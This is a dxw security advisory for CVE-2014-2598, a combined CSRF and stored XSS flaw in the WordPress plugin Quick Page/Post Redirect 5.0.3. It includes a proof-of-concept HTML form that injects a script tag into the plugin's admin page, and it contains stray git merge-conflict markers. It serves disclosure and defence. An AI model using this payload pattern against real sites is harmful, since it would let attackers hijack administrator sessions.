WordPress Plugin Quick Page/Post Redirect 5.0.3 – Multiple Vulnerabilities
Details ================ Software: Quick Page/Post Redirect Plugin Version: 5.0.3 Homepage: http://wordpress.org/plugins/quick-pagepost-redirect-plugin/ Advisory ID: dxw-1970-1091 CVE: CVE-2014-2598 CVSS: 6.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:P) Description ================ CSRF and stored XSS in Quick Page/Post Redirect Plugin Vulnerability ================ This plugin is vulnerable to a combination CSRF/XSS attack meaning that if an admin user can be persuaded to visit a URL of the attacker’s choosing (via spear phishing for instance), the attacker can insert arbitrary JavaScript into an admin page. Once that occurs the admin’s browser can be made to do almost anything the admin user could typically do such as create/delete posts, create new admin users, or even exploit vulnerabilities in other plugins. Proof of concept ================ Use the following form to introduce potentially malicious JavaScript: <form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=redirect-updates\"> <input type=\"text\" name=\"quickppr_redirects[request][]\" value=\""><script>alert(1)</script>\"> <input type=\"text\" name=\"quickppr_redirects[destination][]\" value=\"http://dxw.com/\"> <Input type=\"text\" name=\"submit_301\" value=\"1\"> <input type=\"submit\"> </form> Mitigations ================ Upgrade to version 5.0.5 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2014-03-21: Discovered 2014-03-24: Reported to plugins@wordpress.org 2014-04-07: No response; requested an alternative email address using the author’s contact form. 2014-04-08: Re-reported direct to author 2014-04-08: Author responded, and publication agreed on or before 2014-05-06 2014-04-10: Author reports issue fixed in version 5.0.5 <<<<<<< HEAD Discovered by dxw: ================ Tom Adams ======= Discovered by dxw: ================ Tom Adams >>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464 Please visit security.dxw.com for more information. |